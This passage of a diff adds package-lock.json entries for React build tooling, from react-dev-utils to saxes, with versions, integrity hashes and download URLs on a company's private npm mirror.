"sha512-84Ivxmr17KjUupyqzFode6xKhjwuEJDROWKJy/BthkL7Wn6NJ8h4WE6k/exAv6ImS+0oZLRRW5j/aINMHyeGeQ==", + "dependencies": { + "@babel/code-frame": "^7.16.0", + "address": "^1.1.2", + "browserslist": "^4.18.1", + "chalk": "^4.1.2", + "cross-spawn": "^7.0.3", + "detect-port-alt": "^1.1.6", + "escape-string-regexp": "^4.0.0", + "filesize": "^8.0.6", + "find-up": "^5.0.0", + "fork-ts-checker-webpack-plugin": "^6.5.0", + "global-modules": "^2.0.0", + "globby": "^11.0.4", + "gzip-size": "^6.0.0", + "immer": "^9.0.7", + "is-root": "^2.1.0", + "loader-utils": "^3.2.0", + "open": "^8.4.0", + "pkg-up": "^3.1.0", + "prompts": "^2.4.2", + "react-error-overlay": "^6.0.11", + "recursive-readdir": "^2.2.2", + "shell-quote": "^1.7.3", + "strip-ansi": "^6.0.1", + "text-table": "^0.2.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/react-dev-utils/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/react-dev-utils/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/react-dev-utils/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/react-dev-utils/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/react-dev-utils/node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "engines": { + "node": ">=10" + } + }, + "node_modules/react-dev-utils/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/react-dev-utils/node_modules/loader-utils": { + "version": "3.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/loader-utils/-/loader-utils-3.2.1.tgz", + "integrity": "sha512-ZvFw1KWS3GVyYBYb7qkmRM/WwL2TQQBxgCK62rlvm4WpVQ23Nb4tYjApUlfjrEGvOs7KHEsmyUn75OHZrJMWPw==", + "engines": { + "node": ">= 12.13.0" + } + }, + "node_modules/react-dev-utils/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/react-dom": { + "version": "18.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-dom/-/react-dom-18.2.0.tgz", + "integrity": "sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==", + "dependencies": { + "loose-envify": "^1.1.0", + "scheduler": "^0.23.0" + }, + "peerDependencies": { + "react": "^18.2.0" + } + }, + "node_modules/react-error-overlay": { + "version": "6.0.11", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-error-overlay/-/react-error-overlay-6.0.11.tgz", + "integrity": "sha512-/6UZ2qgEyH2aqzYZgQPxEnz33NJ2gNsnHA2o5+o4wW9bLM/JYQitNP9xPhsXwC08hMMovfGe/8retsdDsczPRg==" + }, + "node_modules/react-is": { + "version": "17.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==" + }, + "node_modules/react-refresh": { + "version": "0.11.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-refresh/-/react-refresh-0.11.0.tgz", + "integrity": "sha512-F27qZr8uUqwhWZboondsPx8tnC3Ct3SxZA3V5WyEvujRyyNv0VYPhoBg1gZ8/MV5tubQp76Trw8lTv9hzRBa+A==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-scripts": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-scripts/-/react-scripts-5.0.1.tgz", + "integrity": "sha512-8VAmEm/ZAwQzJ+GOMLbBsTdDKOpuZh7RPs0UymvBR2vRk4iZWCskjbFnxqjrzoIvlNNRZ3QJFx6/qDSi6zSnaQ==", + "dependencies": { + "@babel/core": "^7.16.0", + "@pmmmwh/react-refresh-webpack-plugin": "^0.5.3", + "@svgr/webpack": "^5.5.0", + "babel-jest": "^27.4.2", + "babel-loader": "^8.2.3", + "babel-plugin-named-asset-import": "^0.3.8", + "babel-preset-react-app": "^10.0.1", + "bfj": "^7.0.2", + "browserslist": "^4.18.1", + "camelcase": "^6.2.1", + "case-sensitive-paths-webpack-plugin": "^2.4.0", + "css-loader": "^6.5.1", + "css-minimizer-webpack-plugin": "^3.2.0", + "dotenv": "^10.0.0", + "dotenv-expand": "^5.1.0", + "eslint": "^8.3.0", + "eslint-config-react-app": "^7.0.1", + "eslint-webpack-plugin": "^3.1.1", + "file-loader": "^6.2.0", + "fs-extra": "^10.0.0", + "html-webpack-plugin": "^5.5.0", + "identity-obj-proxy": "^3.0.0", + "jest": "^27.4.3", + "jest-resolve": "^27.4.2", + "jest-watch-typeahead": "^1.0.0", + "mini-css-extract-plugin": "^2.4.5", + "postcss": "^8.4.4", + "postcss-flexbugs-fixes": "^5.0.2", + "postcss-loader": "^6.2.1", + "postcss-normalize": "^10.0.1", + "postcss-preset-env": "^7.0.1", + "prompts": "^2.4.2", + "react-app-polyfill": "^3.0.0", + "react-dev-utils": "^12.0.1", + "react-refresh": "^0.11.0", + "resolve": "^1.20.0", + "resolve-url-loader": "^4.0.0", + "sass-loader": "^12.3.0", + "semver": "^7.3.5", + "source-map-loader": "^3.0.0", + "style-loader": "^3.3.1", + "tailwindcss": "^3.0.2", + "terser-webpack-plugin": "^5.2.5", + "webpack": "^5.64.4", + "webpack-dev-server": "^4.6.0", + "webpack-manifest-plugin": "^4.0.2", + "workbox-webpack-plugin": "^6.4.1" + }, + "bin": { + "react-scripts": "bin/react-scripts.js" + }, + "engines": { + "node": ">=14.0.0" + }, + "optionalDependencies": { + "fsevents": "^2.3.2" + }, + "peerDependencies": { + "react": ">= 16", + "typescript": "^3.2.1 || ^4" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/read-cache": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "dependencies": { + "pify": "^2.3.0" + } + }, + "node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/recursive-readdir": { + "version": "2.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/recursive-readdir/-/recursive-readdir-2.2.3.tgz", + "integrity": "sha512-8HrF5ZsXk5FAH9dgsx3BlUer73nIhuj+9OrQwEbLTPOBzGkL1lsFCR01am+v+0m2Cmbs1nP12hLDl5FA7EszKA==", + "dependencies": { + "minimatch": "^3.0.5" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/redent": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/redent/-/redent-3.0.0.tgz", + "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", + "dependencies": { + "indent-string": "^4.0.0", + "strip-indent": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/regenerate": { + "version": "1.4.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/regenerate/-/regenerate-1.4.2.tgz", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==" + }, + "node_modules/regenerate-unicode-properties": { + "version": "10.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.0.tgz", + "integrity": "sha512-d1VudCLoIGitcU/hEg2QqvyGZQmdC0Lf8BqdOMXGFSvJP4bNV1+XqbPQeHHLD51Jh4QJJ225dlIFvY4Ly6MXmQ==", + "dependencies": { + "regenerate": "^1.4.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regenerator-runtime": { + "version": "0.13.11", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz", + "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==" + }, + "node_modules/regenerator-transform": { + "version": "0.15.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/regenerator-transform/-/regenerator-transform-0.15.1.tgz", + "integrity": "sha512-knzmNAcuyxV+gQCufkYcvOqX/qIIfHLv0u5x79kRxuGojfYVky1f15TzZEu2Avte8QGepvUNTnLskf8E6X6Vyg==", + "dependencies": { + "@babel/runtime": "^7.8.4" + } + }, + "node_modules/regex-parser": { + "version": "2.2.11", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/regex-parser/-/regex-parser-2.2.11.tgz", + "integrity": "sha512-jbD/FT0+9MBU2XAZluI7w2OBs1RBi6p9M83nkoZayQXXU9e8Robt69FcZc7wU4eJD/YFTjn1JdCk3rbMJajz8Q==" + }, + "node_modules/regexp.prototype.flags": { + "version": "1.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/regexp.prototype.flags/-/regexp.prototype.flags-1.5.0.tgz", + "integrity": "sha512-0SutC3pNudRKgquxGoRGIz946MZVHqbNfPjBdxeOhBrdgDKlRoXmYLQN9xRbrR09ZXWeGAdPuif7egofn6v5LA==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "functions-have-names": "^1.2.3" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/regexpu-core": { + "version": "5.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/regexpu-core/-/regexpu-core-5.3.2.tgz", + "integrity": "sha512-RAM5FlZz+Lhmo7db9L298p2vHP5ZywrVXmVXpmAD9GuL5MPH6t9ROw1iA/wfHkQ76Qe7AaPF0nGuim96/IrQMQ==", + "dependencies": { + "@babel/regjsgen": "^0.8.0", + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^10.1.0", + "regjsparser": "^0.9.1", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regjsparser": { + "version": "0.9.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/regjsparser/-/regjsparser-0.9.1.tgz", + "integrity": "sha512-dQUtn90WanSNl+7mQKcXAgZxvUe7Z0SqXlgzv0za4LwiUhyzBC58yQO3liFoUgu8GiJVInAhJjkj1N0EtQ5nkQ==", + "dependencies": { + "jsesc": "~0.5.0" + }, + "bin": { + "regjsparser": "bin/parser" + } + }, + "node_modules/regjsparser/node_modules/jsesc": { + "version": "0.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==", + "bin": { + "jsesc": "bin/jsesc" + } + }, + "node_modules/relateurl": { + "version": "0.2.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/relateurl/-/relateurl-0.2.7.tgz", + "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/renderkid": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/renderkid/-/renderkid-3.0.0.tgz", + "integrity": "sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==", + "dependencies": { + "css-select": "^4.1.3", + "dom-converter": "^0.2.0", + "htmlparser2": "^6.1.0", + "lodash": "^4.17.21", + "strip-ansi": "^6.0.1" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/requires-port": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==" + }, + "node_modules/resolve": { + "version": "1.22.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/resolve/-/resolve-1.22.2.tgz", + "integrity": "sha512-Sb+mjNHOULsBv818T40qSPeRiuWLyaGMa5ewydRLFimneixmVy2zdivRl+AF6jaYPC8ERxGDmFSiqui6SfPd+g==", + "dependencies": { + "is-core-module": "^2.11.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + } + }, + "node_modules/resolve-cwd": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/resolve-cwd/-/resolve-cwd-3.0.0.tgz", + "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==", + "dependencies": { + "resolve-from": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/resolve-url-loader": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/resolve-url-loader/-/resolve-url-loader-4.0.0.tgz", + "integrity": "sha512-05VEMczVREcbtT7Bz+C+96eUO5HDNvdthIiMB34t7FcF8ehcu4wC0sSgPUubs3XW2Q3CNLJk/BJrCU9wVRymiA==", + "dependencies": { + "adjust-sourcemap-loader": "^4.0.0", + "convert-source-map": "^1.7.0", + "loader-utils": "^2.0.0", + "postcss": "^7.0.35", + "source-map": "0.6.1" + }, + "engines": { + "node": ">=8.9" + }, + "peerDependencies": { + "rework": "1.0.1", + "rework-visit": "1.0.0" + }, + "peerDependenciesMeta": { + "rework": { + "optional": true + }, + "rework-visit": { + "optional": true + } + } + }, + "node_modules/resolve-url-loader/node_modules/picocolors": { + "version": "0.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/picocolors/-/picocolors-0.2.1.tgz", + "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==" + }, + "node_modules/resolve-url-loader/node_modules/postcss": { + "version": "7.0.39", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss/-/postcss-7.0.39.tgz", + "integrity": "sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==", + "dependencies": { + "picocolors": "^0.2.1", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/resolve-url-loader/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/resolve.exports": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/resolve.exports/-/resolve.exports-1.1.1.tgz", + "integrity": "sha512-/NtpHNDN7jWhAaQ9BvBUYZ6YTXsRBgfqWFWP7BZBaoMJO/I3G5OFzvTuWNlZC3aPjins1F+TNrLKsGbH4rfsRQ==", + "engines": { + "node": ">=10" + } + }, + "node_modules/retry": { + "version": "0.13.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", + "engines": { + "node": ">= 4" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + } + }, + "node_modules/rollup": { + "version": "2.79.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/rollup/-/rollup-2.79.1.tgz", + "integrity": "sha512-uKxbd0IhMZOhjAiD5oAFp7BqvkA4Dv47qpOCtaNvng4HBwdbWtdOh8f5nZNuk2rp51PMGk3bzfWu5oayNEuYnw==", + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=10.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/rollup-plugin-terser": { + "version": "7.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz", + "integrity": "sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==", + "deprecated": "This package has been deprecated and is no longer maintained. Please use @rollup/plugin-terser", + "dependencies": { + "@babel/code-frame": "^7.10.4", + "jest-worker": "^26.2.1", + "serialize-javascript": "^4.0.0", + "terser": "^5.0.0" + }, + "peerDependencies": { + "rollup": "^2.0.0" + } + }, + "node_modules/rollup-plugin-terser/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/rollup-plugin-terser/node_modules/jest-worker": { + "version": "26.6.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-worker/-/jest-worker-26.6.2.tgz", + "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==", + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^7.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/rollup-plugin-terser/node_modules/serialize-javascript": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/serialize-javascript/-/serialize-javascript-4.0.0.tgz", + "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==", + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/rollup-plugin-terser/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/safe-array-concat": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/safe-array-concat/-/safe-array-concat-1.0.0.tgz", + "integrity": "sha512-9dVEFruWIsnie89yym+xWTAYASdpw3CJV7Li/6zBewGf9z2i1j31rP6jnY0pHEO4QZh6N0K11bFjWmdR8UGdPQ==", + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.0", + "has-symbols": "^1.0.3", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">=0.4" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + }, + "node_modules/safe-regex-test": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/safe-regex-test/-/safe-regex-test-1.0.0.tgz", + "integrity": "sha512-JBUUzyOgEwXQY1NuPtvcj/qcBDbDmEvWufhlnXZIm75DEHp+afM1r1ujJpJsV/gSM4t59tpDyPi1sd6ZaPFfsA==", + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.3", + "is-regex": "^1.1.4" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "node_modules/sanitize.css": { + "version": "13.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/sanitize.css/-/sanitize.css-13.0.0.tgz", + "integrity": "sha512-ZRwKbh/eQ6w9vmTjkuG0Ioi3HBwPFce0O+v//ve+aOq1oeCy7jMV2qzzAlpsNuqpqCBjjriM1lbtZbF/Q8jVyA==" + }, + "node_modules/sass-loader": { + "version": "12.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/sass-loader/-/sass-loader-12.6.0.tgz", + "integrity": "sha512-oLTaH0YCtX4cfnJZxKSLAyglED0naiYfNG1iXfU5w1LNZ+ukoA5DtyDIN5zmKVZwYNJP4KRc5Y3hkWga+7tYfA==", + "dependencies": { + "klona": "^2.0.4", + "neo-async": "^2.6.2" + }, + "engines": { + "node": ">= 12.13.0" + }, + "peerDependencies": { + "fibers": ">= 3.1.0", + "node-sass": "^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0", + "sass": "^1.3.0", + "sass-embedded": "*", + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "fibers": { + "optional": true + }, + "node-sass": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + } + } + }, + "node_modules/sax": { + "version": "1.2.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/sax/-/sax-1.2.4.tgz", + "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==" + }, + "node_modules/saxes": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/saxes/-/saxes-5.0.1.tgz", + "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==", + "dependencies": { + "xmlchars": "^2.2.0" + }, + "engines": { + "node": ">=10" + } + }, + 